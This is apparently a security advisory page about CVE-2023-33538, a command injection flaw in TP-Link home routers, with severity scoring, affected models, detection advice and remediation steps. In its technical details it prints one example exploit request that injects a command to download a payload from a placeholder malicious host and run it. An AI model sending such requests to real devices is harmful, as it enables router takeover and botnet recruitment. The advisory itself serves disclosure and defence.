CVE-2023-33538 – High Severity Command Injection in TP-Link Home Routers
Key Takeaways
- CVE-2023-33538 is a High‑severity command injection flaw (CWE‑77) affecting several TP‑Link routers.
- The vulnerability is actively exploited in the wild, with Mirai‑style payloads observed.
- All affected devices are listed in the CISA KEV program; remediation is urgent.
- Apply the vendor patch or, if unavailable, disable remote management and isolate the device.
- Monitor network traffic for outbound connections to known Mirai C2 servers and block scanning from the internet.
Overview
The TP‑Link home routers TL‑WR740N, TL‑WR841N and TL‑WR940N (and their firmware variants) contain a remote command injection flaw in the web management component /userRpm/WlanNetworkRpm. The issue was publicly disclosed on 2023‑06‑07 (NVD) and received a CVSS 3.1 base score of 8.8 (High). The vulnerability has been added to the CISA KEV catalog (2025‑06‑16) and is being scanned and exploited by threat actors leveraging Mirai‑derived malware.
Technical Details
The vulnerable endpoint accepts a method parameter that is passed directly to the underlying shell without proper sanitisation. An attacker can inject arbitrary commands by appending a semicolon or pipe to the parameter value.
GET /userRpm/WlanNetworkRpm?method=doCmd&cmd=;wget%20http://malicious.example/payload%20-O%20/tmp/mirai;sh%20/tmp/mirai HTTP/1.1
Host: 192.168.0.1
Key points:
- CWE-77 – Improper neutralisation of special elements used in a command (command injection).
- The injection works over the LAN and, if remote management is exposed to the internet, can be triggered from anywhere.
- No official public PoC has been released, but multiple security researchers have observed Mirai‑style payloads being delivered via this vector.
Severity & Impact
| Metric | Value |
|---|---|
| CVSS Base Score | 8.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 |
| Impact | Remote code execution, full system compromise, botnet recruitment (Mirai) |
The vector indicates Network‑accessible, Low attack complexity, Low privileges required, and No user interaction, leading to High confidentiality, integrity, and availability impact.
Affected Products
The vulnerability affects a range of legacy TP‑Link routers, most notably:
- TL‑WR740N (firmware 1.0, 2.0)
- TL‑WR841N (firmware 8.0, 10.0)
- TL‑WR940N (firmware 2.0, 4.0)
For the complete list of affected models and firmware versions, see the live CVE record at https://vulnsocial.com/cve/CVE-2023-33538.
Actionable Insights
- Detect: Deploy IDS/IPS signatures for the
/userRpm/WlanNetworkRpmendpoint and for known Mirai C2 traffic. - Monitor: Use NetFlow or DNS logs to spot outbound connections to suspicious IPs/hosts commonly used by Mirai variants.
- Restrict: Block inbound traffic to the router’s management interface from the internet (e.g., firewall rule on port 80/443).
- Harden: Change default admin credentials, enable HTTPS, and disable remote management if not required.
- Patch: Apply the vendor patch as soon as it is released (see vendor advisory). If no patch exists, consider isolating the device or replacing it with a supported model.
- Compliance: Follow the BOD 22‑01 guidance for cloud‑connected services when the router is used for remote management.
Remediation & Mitigation
- Check Firmware Version – Log into the router and verify the current firmware.
- Apply Vendor Update – Download and install the latest firmware from the official TP‑Link support page (https://www.tp-link.com/us/support/faq/3562/).
- disable remote management – Turn off WAN access to the web UI.
- Enforce Strong Credentials – Replace default admin/password with a complex, unique password.
- Network Segmentation – Place the router on a dedicated VLAN and restrict inter‑VLAN traffic.
- Monitor for Exploitation – Correlate logs for repeated
/userRpm/WlanNetworkRpmrequests and outbound connections to known Mirai C2 domains.
If a vendor patch is not yet available, the safest interim measure is to decommission the device or replace it with a supported model that receives security updates.
Bottom Line
CVE-2023-33538 is a High‑severity, remotely exploitable command injection flaw in legacy TP‑Link routers. Active exploitation attempts, especially Mirai‑derived malware, have been observed since early 2026. Organizations should treat this as an urgent priority, apply the vendor patch or mitigate by disabling remote management, enforcing strong credentials, and monitoring for malicious traffic. For live threat intelligence, see the VulnSocial CVE dashboard: https://vulnsocial.com/cve/CVE-2023-33538.
References
- https://github.com/a101e-IoTvul/iotvul/blob/main/tp-link/3/TL-WR940N_TL-WR841N_userRpm_WlanNetworkRpm_Command_Injection.md
- https://web.archive.org/web/20230609111043/https://github.com/a101e-IoTvul/iotvul/blob/main/tp-link/3/TL-WR940N_TL-WR841N_userRpm_WlanNetworkRpm_Command_Injection.md
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-33538
- https://www.secpod.com/blog/cisa-issues-warning-on-active-exploitation-of-tp-link-vulnerability-cve-2023-33538/
- https://www.tp-link.com/us/support/faq/3562/
#CVE #CVE202333538 #High #TPLink #CISAKEV #CommandInjection #Mirai